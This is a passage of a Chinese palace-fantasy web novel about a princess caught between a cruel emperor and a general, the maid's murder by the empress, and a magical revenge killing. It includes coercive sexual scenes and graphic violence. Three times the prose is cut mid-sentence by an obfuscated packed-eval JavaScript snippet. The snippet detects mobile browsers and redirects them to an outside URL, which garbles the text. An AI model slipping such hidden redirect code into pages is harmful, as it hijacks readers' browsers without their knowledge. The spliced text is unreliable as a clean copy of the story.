“我可没见过及你三分美色的人了。” 我放下手里的瓷碗,看着面如死灰的美人。她望着一片虚无之处,那是一种欲死不得的悲怆。屋外寒风起,今年的第一场雪即将落下。陈美人眼角滑出一滴泪,浸入枕巾,神色怔然。 “拓跋——陛下说了,等你身子养好,他就来兰熏殿见你。” 我拉过她的手,在她手心写了几个字:平心静气。因为不知道写什么,随手写了我最常告诫自己的话,只是想让指尖流转在她掌心时,她能将注意力放在我身上。 她回握住我的手,难得舒展眉头笑了笑,顷刻间,又变为苦笑说道:“陛下吗?他……怎么会说这等话……那可是陛下啊……” “你不信我?” “公主是救命恩人,自然是信的。可那是陛下……陛下不会说这等话。” 我笑着叹了口气,一把将她从床榻上拉起来,夺门而出。我没去看她的表情,只盯着头顶落下的大片雪花。陈美人向我靠近半步,小心翼翼地收紧我牵住她的手。 今年的雪姗姗来迟。 我轻轻摩挲她的手背,说道:“那我们拭目以待!我如果没有骗你,陛下真来了兰熏殿,你就得把当年凉州同我一道的道士画像画下来。” 身子薄弱的陈美人站在我身后,被我挡去大半风雪,还算受得住。她眼泪流得更厉害,但掩盖不住唇角的笑意。我攥紧她的手,替她挡去所有寒风,侍女见势送来披风给美人。 “……好。” “成交!” “公主为何那么高兴?比起陛下的宠爱,一幅画更重要?” “不,比起这两样东西,你的身子最重要。” 如倾倒般的雪花从苍穹泼下,兴宁府陷入万籁俱寂。我穿着偏薄的秋衣走在去往前殿的路上,大雪模糊了视野,雾气太大,没人会发现我。但我还是有些警觉地确认了没有人跟着,加快脚步。 “陛下,清漪公主求见。” 御案前的拓跋枭合上手中文书,展开下一卷。通报的宫人退下后,我步入御书房内,忐忑不安地环顾起一国之君日常处理政务的地方。夏逸飞也曾在这里同拓跋枭商量军政事务吧…… “何事?” 案前的人头也不抬,我上前一步,手掌撑在书案上,直视他的眼睛。不知为何,今日颇有底气跟他斗到底。 “刚才宫人唤我清漪公主,陛下这回认清我是人是鬼了吗?” “说什么胡话。别打扰朕,回兴宁殿等着。” 我大步绕过书案上前,直接跨坐在他腿上。烛光跃入他的眼,大眼瞪小眼,他可算是看我了。 “几次见面身旁都有外人,怎么还能把我认成孤魂的……我很好奇。” “……呵。” 不屑一顾的笑。拓跋枭放下笔,扶住我的腰将我拉近,鼻息从耳朵开始一路喷洒深嗅,直至前胸。 “但凡你出现,不都是幻觉吗?过去求证了无数次,怎么今儿突然提起这事?” “因为——” 我低头吻住他,在他唇瓣上使劲儿咬了一口。鲜血顺着他的嘴角流出些。 “你看清楚,我不是鬼,我是一个活生生的人。” 闻言,拓跋枭脸色微微一变,语气沉下来。 “朕不喜欢最近的你。太放肆。是被朕骄纵惯了吗?嗯?” 隐忍怒意的话字字珠玑,拓跋枭扣在我腰上的手逐渐收紧。没有人情味儿的脸倏地放大,带着热度的唇齿捧在我的脸颊。 “啊!” 他居然又咬我! 我冷冷地俯视他,扯着嘴角冷笑道:“帝王不是信鬼神吗?请个道士来替陛下看看,是人是鬼,一目了然。” 他埋在我的锁骨上下,重重的呼吸着,如同野兽般啃食索取,留下标记。 “道士来若把你驱走了,朕是杀了他,还是放过他?” “……执迷不悟。你到现在都还视我为孤魂野鬼。” 我从他腿上离开,手腕被他拉住,又拽回去重新跨坐在他腿上。感受什么蠢蠢欲动之物,我扭动着身子往后挪了些。 是吃了什么壮阳的药物吗,这玩意儿都不会累吗! 我咽下口中差点脱口而出的污秽之语,正经道:“今日不宜房事!不对,不宜与我、臣妾房事!” 拓跋枭勾起一抹讪笑:“谁说的?” “观测天象说的。” “胡言乱语。” 我笃定道:“真的!我昨夜观天象,说陛下今日可去别处寻欢,可保东凉盛世太平。” 殿内的空气凝固,静地能听清门外落雪的声音。半晌后,拓跋枭锁紧眉头。 “……你想说什么?” “兰熏殿。” 拓跋枭冷哼了一声,料到我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15507767|163432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会说出这个名字似的。 我不慌不忙道:“陈美人何错之有?你如此对她,未免太过冷血。” 说完,我又阴阳怪气道:“好吧,你就是冷血之人。既如此,我也没必要和陛下在这儿耗着了。不就是死嘛,我一缕孤魂,死不了,大不了升天去。这样,陛下可真就再也见不到我了。” 我灵活地逃出拓跋枭的掌心,转身要走。 “……回来。” “陛下想清楚了?” 他有些不耐烦地起身越过我关上刚被我拉开一点缝隙的门,弯腰将我扛在肩上,丢到一旁的桌上。他阴恻恻笑着,拆散我的发髻,将衣裳扯松。 “等朕先尽兴了再议。” 我抬手撑在他□□的胸前抵抗。 “不行!那我不亏了!” “为何要帮她?可怜她?” “我只是不想再看到同样的悲剧,在我眼前二次上演。” 虽然厌恶你、恨你,但比起脆弱易逝的人命,我宁愿出卖自己。 滥好人,连我自己都觉得恶心。 不懂怜香惜玉的手抚摸过从发顶到脖颈的每一寸肌肤,好端端的手膀子生生被掐出红印子。 忽然想起信州茶楼听过的一则故事。 守在藏有天书洞穴外的狼群饥渴难耐,不顾神灵设下的禁律,戳破禁忌之地的封印字条,将魔爪深入阴暗之地,肆意妄为,搅乱一切。它们的目的从来都不是天书,只是破坏的本性罢了。 拓跋枭给自己取这名,是有充分理由的,非常贴切。 无论是世人最亲密的轻吻还是拥抱,他都格外用力,我一面忍受着骨肉散架带来的疼痛,一面扼制心里冒出的邪念。 后背不知是不是压住书案上的笔杆,硌得疼,我挪动着上身,想把它弄走。冲破胸腔的喘息和怒气突然掐住我的肩膀。 “再动我就扇你。” 这人动不动扇人耳光,情到深处就自称我……整个皇宫最该驱邪的人是他吧…… 无奈作罢。我半阖着眼,越过他的发顶看雕花窗棂外的大雪纷飞。 “无聊之人的无聊之事。朕至今也想不明白,你当年到底是怎么逃出春来秋雨殿的?” 这话中赵风便是重生前的我之意昭然若揭,那夏逸飞又从何得知我南风的真名?当年东凉校场救下他,应该没有时间闲聊才对。赵风的身份是赵国公主?莫非上一次的我也是顶替了和亲的公主进入东凉? 拓跋枭如约去了兰熏殿,我用毯子裹着酸痛的身子坐在春来殿前院的石阶前,想去房顶奈何上不去。 “要是夏逸飞在就好了……” 我望着檐顶,有些沉默。在我的印象中,夏逸飞是讨厌的话,是差点下毒害死我的人,为什么会产生他此时出现在春来殿多好的想法? 是身体吗……是身体发出渴求他的信号吗……好可怕的本性…… 我抱紧自己,想象着许久未见之人的脸,想象着他从背后拥住我的样子。雪花纷纷扬扬落下,如同医鹿山上的梅林簌簌飘落的花瓣。 “砚清……我不知道自己在做什么……我是不是哪里走错了?柏夫人的死对我打击太大,我怕陈美人也死于非命。我想救她,我只是想救她……可这哪里是救人的法子……下流、龌龊,我讨厌这样的自己……更讨厌享受其中的自己……” 我捂住脸,绝望地哭泣。怀中的玉笛从衣领处飞出,浮在我身侧,吹奏起我从未听过的曲子。 “这是什么曲子?我为何从未——” “此曲名为《天上月》。” 我怔愣看着身旁握住玉笛凭空出现的人,他替我擦去脸上的狼狈,似是安慰地吻上我的唇。 “顾影海底月,辞眸心上人。” “你是……我遇见的第二个人,顾辞?” 80. 杏花春雨 “兰熏殿来人说,陈美人请公主去品茗赏雪。” “好。” 今年的雪来得比去年稍晚一些。院子里的最后一朵莲花也相继枯死,在池塘里形成一片荒凉寂寥。 路过时有产生一瞬要不要用玉笛恢复原貌的想法,想想还是算了。顺应自然,让它跟随世间寻常的莲花一起盛放衰败挺好的。 “阿丘今日不必同我去,来回去太医院折腾辛苦你了,好生休息吧。” 善用五官的阿丘表现出夸张般感激涕零,没藏住一个哈欠,眼角泛起泪花。我笑着摇摇头,踏入纷飞的雪幕时,听见她在身后小声地欢呼了声。 “清漪公主!” 兰熏殿内,陈美人站在一棵开满艳红梅花的树下,撑着绸伞唤我。积雪压得梅枝低垂,恰好在她鬓边簪了一簇艳色。我捧着手炉走进她的伞下,见她气色比往日红润许多。定是昨夜拓跋枭来此的功劳。 我假装一如所知打趣道:“陈美人今日气色不错,可有什么好事发生?” “昨夜陛下,嘻嘻,昨夜陛下在兰熏殿过的夜。” 陈美人激动得晃动手中的绸伞,眉眼弯弯如皎月,绸面顿时抖落簌簌雪粒。 “是吗!太好了!恭喜美人。” “虽然只单纯过了夜,今儿一早天不亮便离开,也算圆了我日思夜想的梦,日子总算有点盼头了。不知陛下今晚会不会来。” 美人如月,望着红梅白雪露出少女痴情的笑。我立于她身侧,痴痴地望着她。 “公主怎么看着我傻笑?” “啊?我、我没有。” 我将手背抵在自己泛红的脸颊和鼻尖上,陈美人姣好地面容上写满明了。 “公主!公主!” 急促的脚步声踏碎了雪地的寂静,匆匆跑进兰熏殿的人,大喘着气跑向我。 “阿丘?怎么了?” 阿丘双手撑在膝盖上,上气不接下气道:“皇、皇后娘娘去了……去了春来殿,命人里里外外搜了个遍……哈……哈……” 我顺了顺阿丘的背,待她缓过来再问。 “搜?搜什么?” 我可不记得春来殿有什么值钱或者偷藏起来的东西。要说有也不是没有……在后院的土堆下。 阿丘摇了摇头说:“不知道。最后什么也没发现便离开了。” “娘娘没说什么?比如,叫我去找她?” “没有,娘娘什么也没说。” “我知道了。哦对,娘娘看到前院的枯莲没?” “看到了,两次。阿丘眼睛一眨不眨盯着皇后,清楚她特地望了两次。” 我忍不住弯起唇角:“很好。” 一旁静立听完全部我俩对话的陈美人懵然问道:“枯枝败荷,寓意不佳,公主为何说很好?” “娘娘定是寻不着近日陛下不去琼琚殿的缘由,着人四处查探圣驾踪迹。若瞧见春来殿一池残荷,怕是要嗤笑:陛下怎会在如此冷宫败院过夜。” 我偷着乐呵,陈美人狐疑地问:“公主住在春来秋雨殿?” “嗯。” 我不过回答了肯定,陈美人却陷入沉思,许久,我们都没有再说话。自患上惊悸后,陈美人常有突然失神的时候,以及行为怪异,一会儿记得起一会儿记不起。例如她说曾见过我,在凉州,我名为赵风,却又见到现在的我后认我是清漪公主,从未把二者结合起来。 后宫如今仅有陈美人和皇后见过赵风,莫非皇后发现了端倪,所以去了春来殿?不该是这样。月华池宴上她的表情,可不像是认出旧人。 唯一认出我的,只有夏逸飞和拓跋枭。 陈美人伸手转动手中绸伞,问道:“何不搬来丹枫殿,与我做个邻居?” 我折下一支红梅,赠予美人。 “前院人心复杂,还是幽宫适合我。” 又落雪了。 细雪又簌簌落下,将回春来殿的小径覆得松软,难以下脚,脚步迟缓。好在临别前陈美人叫人替我准备了手炉,不觉寒冷。 天色暗得早,玉笛的青光成了照亮归途的唯一光源。 “夏逸飞?” 推开院门时,积雪从檐角簌簌坠落。那个站在枯荷池边的身影蓦然回首,肩头落满碎雪,像披着一身寒星,冷言道:“你去哪儿了?我等你好久。” “兰熏殿,陈美人邀我赏雪……你是不是瘦了?” 许久不见的人明显消瘦许多,眉梢微微挑起,强扯出一抹不适合这张脸的笑。 “想见你瘦的。” “是吗。” 玩笑话卸下他的伪装,夏逸飞突然栽进我怀里拥住我,恍若一只软趴趴的小兽扑在我身上。 淋了多久的雪,身子才会那么湿冷?我撑住半靠着我的夏逸飞,握住他冰冷的双手。他有些恍惚,似乎快要睡着的样子。 我解开脖颈上披风的系带,裹住夏逸飞保暖。 “注意休息,保重身子啊。等来年花开,你才有力气带我上屋檐赏花。” 耳畔的呼吸中发出一声轻笑,他紧了紧环住我的手臂,鼻息拂过我耳畔说了句“好。” 祥和的气氛刚持续不久,远处传来马车车辙滚动和宫人匆忙的脚步声。 夏逸飞脱口而出:“是陛下的车马。” “这你都能听出来。” 同我惊异截然相反,夏逸飞从容淡定地闪到门缝边窥视,果真是拓跋枭的马车。 “陛下怎么会来此?他认出你了?” “你是指……赵风吗?” 夏逸飞沉默片刻,“你知道了。” “陈美人跟我提过。不对!现在不是说这个时候,你还不快走!” 此时我无暇顾及关于赵风曾经在此发生过的一切,保全夏逸飞不被发现才是首任。 “不,我留下,万一你有危险——” “什么危险啊!他不是第一次来了。你!你快走吧。” 墙外头的火光逐步靠近,车辙碾过青石板的声音逐渐清晰可闻。夏逸飞却还楞在原地,难以置信地注视我。 “你们——” “你快走吧。”否则待会儿听到不堪入耳的声音…… 夏逸飞望了眼紧闭的大门,门外马车铜铃的脆响已至门前。夏逸飞仍死死盯着我,眼中翻涌着我读不懂的情绪。在门闩被叩响的刹那,他突然将我拉近身前亲了口下颌处。 “我不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15514908|163432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走。” 说完,不容我再三劝阻,他纵身一跃,玄色衣袂在夜色中划出一道凌厉的弧线,消失在我眼前。殿门恰在此时被推开,拓跋枭遣走随从,独自步入春来殿。 在我愣神的须臾,拓跋枭温热的胸膛已经贴近我的后背,手掌带着不容抗拒的力道覆上我的小腹。 “陛下怎么又来了?”我盯着地面上交叠的影子不耐烦问道。 “今夜翻了春来殿的牌子,不可吗?要朕走?” “殿下人都到了,臣妾还敢撵您不成?” 拓跋枭轻哼一声。 “今日朕就喜欢听你说难听的话。”他扭头看向池塘里的莲,蹙眉嫌弃道:“不是让人挖了?” 上一次拓跋枭光临春来殿,临走前特地命人必须处理了这池莲花,但又被我强行撵走了挖塘的宫人。 “来年还会花开,为何要挖。” 我故意仰起脸,在佯装出的天真目光下,拓跋枭的心情看上去不错,说声“罢了。”后,拉拽着我往内室走去。 夏逸飞躲在哪里?他应该已经离开了吧……他最好是离开了,别听到这些不堪入耳的声音…… 拓跋枭猩红的舌尖缓缓碾过脚后跟的细嫩肌肤,顺着小腿曲线蜿蜒而上,湿热的吐息灼得我浑身战栗。当森白獠牙抵住脚背时,我猛地蜷紧脚趾,咬紧牙闭紧眼。 “真他*恶——” 污言秽语及时制止,我不甘示弱的劲儿涌出,拽起拓跋枭的头发,指节深陷他凌乱的发间,强迫拉近他的脸贴上的我脖颈,好字字清晰说进他耳朵里。 “陛下不许再到春来殿……” 灼热的鼻息喷在我颈侧,拓跋枭眼里露出狡黠。 “为何?因为皇后?还是将军?哪一个?” “……不是。春来殿简陋,隔壁又有冤魂游荡……” “朕明日替你更换寝宫。” “不行!” 对上他的目光,懦弱的我胆怯了一瞬,但立马鼓足底气。 “这不行,那也不行,你到底想要什么?” “我……臣妾可以去兴宁殿。你不、陛下不必往这儿跑。” 清冷的目光似是看透一切,了然狞笑道:“你背着朕在春来殿偷人?” 他指尖捏住我的下巴,力道不轻不重,却足以让我无法移开视线。我垂眸避开他的逼视,唇角勾起一抹浅淡的弧度。 “陛下多虑了。深宫没有男人,春来殿也就臣妾和侍女两人,找不出第三个人。” 他闻言低笑一声,拇指漫不经心地摩挲过我的唇瓣。末了,才懒懒松开钳制,拍了拍我的脸说道:“朕依你。但你必须随叫随到,不许找任何借口。” “……臣妾遵旨。” 拓跋枭的指腹缓缓抚过我的颈侧和另一处柔软,激起一阵细微的战栗。他俯身靠近,炽热呼吸与舌尖湿意纠缠着我的双耳。 “我知道夏逸飞在,你不必为保他欺骗我。我说了,只要你听话,别再从我眼前消失,我什么都依你。” 我抬眸望进他眼底,那里面翻涌着压抑的占有欲,还有一丝几不可察的脆弱。空气仿佛凝固在这一刻,只剩下彼此交错的呼吸声,沉重而清晰。 81. 春和景明 “清漪公主呢?” 第二次不请自来的雍容华贵之人端坐在春来殿清漪公主的房内,脚边跪着瑟瑟发抖,丝毫不敢懈怠的下等人。 “公主被陛下唤去兴宁殿了……” 阿丘话音未落,一记耳光已将她掀翻在地。 “胆敢撒谎骗我陛下从未来此!” “奴婢没有骗娘娘……真的没有……” 怒气更盛的李皇后将手中的茶盏狠狠摔向地面,溅起的碎片划破阿丘的脸。 “来人,左右一百伦掌。” 阿丘的瞳孔骤然紧缩。随着一声痛呼,第一个响亮的巴掌落在阿丘脸上。 “等一下。” 李皇后命人停下,揪着阿丘的发髻如拔草一般生拉硬扯,发丝断裂的细微声响混着少女的抽气声。 “只你一人服侍公主,想必公主对你也是爱戴有加。你若是死了——公主会有何感想?柏夫人、你,下一个,该轮到陈美人了。我自来讨厌赵国的人,尤其是公主。一个赵风死了不够,又来一个赵清漪,诚心跟我过不去啊……一天除不掉这两人,我的皇后之位一天不得安稳!” 又挨了结实的一巴掌,阿丘的鼻子流出鲜血。李皇后身边的侍女见多不怪,看着不断流落的血呆若木鸡。 “娘娘!皇后娘娘饶命啊!娘娘!” 阿丘抓住李皇后的裙摆苦苦哀求,双膝跪在冷硬的地板上挪动。李皇后一掌打在她脸上,差点将人打晕过去。阿丘蜷缩伏在地上,不敢捂脸。 “说实话,陛下来过此处吗?” “来过……来过几次。但更多是叫公主去兴宁殿……” “何时开始的?” “月华池夜宴之后……怕引人注目,公主都是走着去的……” 李皇后摆出全然不信的样子。阿丘挣扎支起上身,死死抱住李皇后的脚,额头一下一下重重磕在地上。 “娘娘!奴婢说的是实话!” “正是你说了实话,我替公主收拾奴才罢了。况且你是柏夫人的陪嫁丫鬟,柏夫人都走了那么久,你也该随她去了。” 李皇后挥手示意,身后的两位宫人架起仍在苦苦哀求的阿丘,拖出春来殿。少女的指甲在门框上刮出长长的血痕,李皇后慢条斯理地整理华服。 “就丢在前院,让清漪公主进门一眼就能看见她的好侍女。” 殷红的雪花铺满春风从未降临的前院。阿丘如一片轻盈的雪花,静静落在青石板上。 “公主!明年春天,这棵梨花树真的会开吗?” “放心吧,它自己不开,我就变出满院子的梨花给你看。” “公主竟然会法术?!” “不会可以学嘛,学无止境。” 从前的自己那么渺小,像府中被人用脚踢来踢去的蹴鞠,没有停靠的角落。小姐封为夫人,带走家中年龄较小的丫鬟做陪嫁,最不起眼的阿丘随嫁进宫。笨手笨脚,不受待见。春来秋雨殿被隔开前,阿丘受柏夫人之命打扫收拾春来院,却在夜里因沾染阴气不许进屋。寒冬腊月,形单影只。两院相隔后,阿丘被丢弃于春来殿,不敢去碰已死之人留下的狼藉,守着幽宫度日。 “之前就想提醒你用杆子挂灯笼的。不过,更想看看你什么时候发现,杆子就在你身后。” “对不起公主!阿丘……阿丘愚笨,还请公主不要责罚……不,请公主责罚。” “说什么呢。我为何要责罚你,又不是犯了什么大错。” “可是从前大人说……犯错都要受到惩罚……” “什么惩罚?” “在屋外守夜……” “姑娘家家身子那么弱,守什么夜,真是没人性。” 公主是个特别的存在。从未见过如此不像公主的公主。 公主说她喜欢白梅和竹林,但春来殿狭小,没法种出大片的梅林和竹林。所以她脱下鞋袜,亲自走进池塘,种下一池紫莲。公主不会写字,不会绘画,还喜欢念诗给阿丘听。翻来覆去都是同样的诗,但阿丘很喜欢。 “蓬莱院闭天台女,画堂昼寝无人语。” “蓬莱在哪儿?公主知道吗?” “嗯——知道。在梦里。那里有一大片!比东凉皇宫还要大的竹林!凉亭旁也有池塘,蓝紫色的莲花终年盛开,永不衰败。蓬莱靠着海,海边生长着一种淡紫色的花,名叫忘忧罗,闻到此花的香气便会头晕眼花、昏昏欲睡。坐在海边的礁石上可以观测人间的日夜变化。每当人间升起天灯,向神灵许愿时,坐在蓬莱的海边,能听清人们的祈愿,知晓人们的悲喜……” “公主就像真的去过蓬莱似的。” “是吗?那看来我说书的能力变强了,都能骗到你了。” 阿丘永远记得公主说起蓬莱时的表情,那是一种对远方的思念。 “公主,这些草药真的能治好陈美人的病吗?” “不知道。来,你先喝。” “我?可阿丘没有得惊悸之症啊……” “这是补身子的。混淆视听的药材,我写的滋补气血的。你看你脸色虚弱成什么样,小时候没好好吃饭吧。” “……谢谢公主!” 那条和清漪公主连接在一起的线松垂在脚边。被舍弃之人以为终于找到了归宿,找到了温暖的襁褓,不必再在寒冬深夜蜷缩在雪天盼不来天明。 “那阿丘喜欢这里吗?” “以前不喜欢,觉得太过冷清,夜深人静总觉得害怕。但遇到公主后,阿丘开始对这里产生了感情。” 因为公主拯救了我。 “阿丘会好生服侍公主的!所以……让阿丘永远留在公主身边吧。” 阿丘……不想再经历那些难捱漫长的冬夜了…… 【又见东风】 我跪坐在阿丘的遗体边,沉寂了许久。冬夜的月光为她镀上一层银霜,睫毛上凝着细碎的冰晶,像是睡着了般安静。我轻轻摇晃她,试图唤醒她,她却只是双目凝视黑夜,不予理睬。我抬手理了理阿丘凌乱的发丝,脱下披风,盖上她的遗体。 可怜的姑娘脸上的红印还未消退,被人生生扯下的发丝被随意丢弃在她脸上。衣襟前的鲜血晕染成一朵艳丽的花。我怕弄疼她,克制到手指发抖,轻轻阖上她的双眼。 “玉笛。” 我的声音飘散在寒风里。 “谁干的?” 青光如水纹般漾开,映出李皇后那张敷着厚粉的脸。她正对镜描眉,金凤簪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15522020|163432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在烛火下闪闪发亮。今夜拓跋枭说去琼琚殿,与皇后商议某事。 “杀了她。” 玉笛停在半空,收起幻象,迟迟没有离开。 “你听不到吗?去杀了李皇后。” 玉笛不动。一缕黑雾从笛孔中溢出,渐渐凝成人形。 “确定吗?” 黑无常出现,握住停悬的玉笛走向我,站定我跟前。 “又是你……你是来收走阿丘的灵魂吗?” “我接到两条敕令,一条是你怀中之人,另一条——” “是李皇后。” 黑无常停顿片刻后道:“是。” 我接过他递过来的玉笛,青玉色再度染成墨色。我将它贴上额头,感受玉笛深处非同寻常的一股力量。和哥哥那时将它训斥乖巧后截然不同的力量。我能听见数以万计的亡魂在呐喊,在开满红色花海的河岸边彷徨。我曾去过那里,同他们一样,徘徊于此。 “杀了李皇后。我不要她一下就死。狠狠折磨致死。我要她痛不欲生地死……求生不得,求死不能……受尽人世间最痛苦的死法……” 玉笛升入天穹,消失后,黑无常静立雪中,目光转向我,似是想说什么,却欲言又止。半晌,玉笛折返,黑无常也感知到琼琚殿的人溘然长逝。月下庭院,我怔愣看着怀中的阿丘。似曾相识的场景,短短几日再度上演。 我打横抱起瘦弱的姑娘,缓步走进室内,将她安放在床榻上,出门折来还只是枯枝的梨花轻放在她身前。 黑无常默默跟在我身后,见梨花无花,抬手变化出盛开最盛的梨花——刹那间千朵梨花开遍枝头,暗香浮动中,我仿佛看见阿丘唇角微扬。 我抚过阿丘冰凉的眼睑,想象着她平日的样子,回想与她经历的点滴。那些打趣闲话的日子,斥她不懂怜惜自己身子的日子,与她讲述梦境中蓬莱第几宫的日子。阿丘从未与我提起自己的过去,只在面前展现出最纯真的快乐。 “是去旷野吗?告诉我吧,去往西洲孤岛的路。” 黑无常手中的引魂灯忽明忽暗:“仙子要救她吗?” “是。” 夜雪忽然停了,云隙间漏下一缕月光。黑无常凝视我许久,忽然叹道:“你还是变了。” “我知道。” “变回了从前的南风仙子。” 我抬头望着窗棂外隐匿于乌云后露出半点明亮的月。 “不。我就是我,和从前的我没有关系。过去的南风早已死在旷野,现在的南风,是现在的我。” 白无常出现,带走了阿丘的灵魂,春来秋雨殿只剩下我一个,和黑无常一个鬼。他一直陪我坐在前院的石阶上,直到天明。 琼琚殿暴毙的遗体被人发现,面目全非的李皇后以极其惨烈的死状,躺在榻上。昨夜拓跋枭并未去琼琚殿,而是在御书房与夏逸飞商议了一夜关于派军前往西南寻找神石一事。 东凉西南,人神两界交接之处,霜洲地界。 李皇后猝死,东凉皇帝拓跋枭为其举办了最高规格的葬礼,素幡蔽日,哀乐震天。然而就在缟素满城的葬礼之上,他当众宣读了一道令满朝哗然的圣旨——册封新任皇后。 赵国公主,赵清漪。 82. 恨眉醉眼 前夜。 我守在阿丘身边整整三日,偶尔饮茶,大多时间坐在地上靠着床榻,一言不发。 夏逸飞接到皇帝指令,前往霜洲地界寻找千年神石。没给他整顿的时间,即刻出发,因此他没来得及看望我一眼,便匆忙带着五十人的队伍出发霜洲地界。 玉笛的神力下,阿丘的身体保存得很好。我舍不得埋葬她,一日不见她,我浑身不自在。 墙角,黑无常抱臂侧了侧身,盯着毫无休止落下的大雪。夜色微光中,他忽然说了句:“西边有霞光预兆。三日后有大事发生。” 我微微偏头看了眼,浓墨般的夜空沉沉压下,什么也看不见。 “你说什么?” “预兆,天象预兆。明日东凉,有大事发生。与你有关。” 他目光落向我,我冷呵一声,捻起阿丘身上孤零零的一片花瓣,是刚从花枝上掉下来的。 “是说我即将屠杀东凉皇宫吗?” “……你会吗?” 手中的梨花太过娇嫩,指尖不过轻轻一扣,便留下深褐色的伤痕。我无力笑道:“我做不到。杀人偿命,不择手段报复仇恨……我没那本事。” “是吗。” 黑无常的尾音微微下沉,带着某种洞悉一切的笃定。 “柏昭阳死,你前脚刚说杀人是不对的,后脚便让玉笛绞杀了那群道士和白衣人。阿丘死,李皇后当夜赔命。若再死一人,仙子当真不会屠杀整个皇宫吗?” “我说了,我没那本事。我没有夺取无辜之人性命的癖好,我只要该死的人死。” 他端起桌上的饭菜,在我面前蹲下身,将瓷碗里凉透的食物重新加热后递给我。 “你终于肯说实话了。要休息一会儿吗?你已经三天没合眼了。” “我一直说的实话。” 他眼里闪过淡淡的笑意,起身一手端着碗,一手拿起勺子,均匀地舀起米饭和菜送到我嘴边。 “倘若下一个是陈美人,抑或是夏逸飞,你会怎么做?仙子清楚这两人的处境,三宫六院要他们死的人不计其数。倘若他们死了——” “别问我。”我打断他的话,“不许在我面前说死字。” 黑无常挑眉示意我张嘴吃饭。我看了他一眼,肚子恰合时宜地发出一声咕噜。 我扶着桌沿缓缓坐回圈椅,双腿因久跪而血脉不通,刚一起身便如千万根银针扎刺,膝盖一软险些栽倒。黑无常手中的青瓷碗纹丝未动,另一只手已稳稳托住我的手肘。 孤馆青灯,他舀起一勺饭菜,不疾不徐地递到我唇边。他喂食的姿势太过熟稔,我竟没生出一丝怀疑。 “我知道你的答案。哪怕如今的南风仙子与从前的你稍有不同。但你,就是你。轮回万转,刻在骨子里的,是不会变的。” 我沉下眸子,他递到嘴边时见我在发呆,温热的瓷勺碰了碰我的嘴唇。 “专心吃饭。我可不想今夜多添个饿死鬼。” 我呆滞地嚼着嘴里的最后一口饭菜,终于还是没忍住,将憋了三日的问题抛了出来:“你什么时候走?” 他执勺的手顿了顿,“去哪儿?” “阴差不去捉鬼,在这儿待着作甚?” “就是要捉鬼才在此处啊。” 皇后出殡之日,殿前广场。 汉白玉阶上积雪未消,我再次站在这里,却比上次更加荒唐。寒风卷着纸钱与碎雪在空中翻飞,李皇后的素棺正被三十六名杠夫抬着,缓缓碾过朱红宫门。文武百官缟素之外竟都套着锦绣官服——仿佛这场葬礼不过是新戏的序幕。 哀乐吹得凄凄惨惨,风声呜咽,卷起满地纸钱残灰,仿佛无数未亡人的叹息。 送葬的队伍不过前脚刚离开,我就被人拽着走向广场的人们。 拓跋枭的手指像铁箍般扣住我的手腕,满朝文武的恭贺声在耳畔嗡嗡作响,化作一片令人窒息的喧嚣。我死死咬住后槽牙,想挣脱逃走,却在抬眼时撞见前排那抹熟悉的身影——他站在离御阶最近的地方,如淬了冰的刀锋般冷冽的眼睛正一寸寸剐过拓跋枭扣着我的手背。 远处送葬队伍的白色旌旗还未消失在转角,礼官已捧着凤印跪在了丹墀之下。 “你放开我!我不会要当什么皇后!” 拓跋枭没听见我的话,骄傲地向全天下展示他的“战利品”。 “这才是你该站的位置。离朕最近,永远无法离开朕的位置。” “你放开我——” 我挣扎着扬手时被他轻易截住,反而被拽着撞进他怀里,当着文武百官的面咬住我耳垂,啃咬我的脸颊。 “你!你做什么!一国之君,岂能——” 温热的津唾顺着耳廓滑向脖颈,数百双眼睛所望之处,他竟毫无廉耻之心,禁锢我的双手置于我身后,欺身压下,将身前的衣襟拨开,印下他昭示天下的玺文。粗糙的指腹划过暴露于寒风中的背脊,拉开风雨前的帷幕。 黑无常站在离御阶最近的地方,那双看惯生死的眼眸此刻目不转睛地只倒映着我一人。几步之遥的陈美人脸上神情是惊诧、是心碎、是失望。雪落在她颤抖的睫毛上,竟像是泪。 “此去霜洲地界,若夏逸飞当真能取回神石,朕便将你的魂魄永远锁在这九重宫阙。春来秋雨殿也好,兴宁殿也罢,今生今世,你休想再踏出宫门半步。若夏逸飞一去不复返……岂非更是天遂人愿?” 混合粗重的喘息,拓跋枭道出了夏逸飞去往霜洲的真相。双臂无力地垂落,身子一轻,被他顺势揽住腰肢按进胸膛。得逞的人打横抱起我走回兴宁殿。 送葬的白色旌旗在远处化作模糊的虚线,百官跪伏的雪地里,几道窥探的目光如附骨之疽,粘在我们交叠的衣袂上久久不散。 “恭贺清漪公主。” 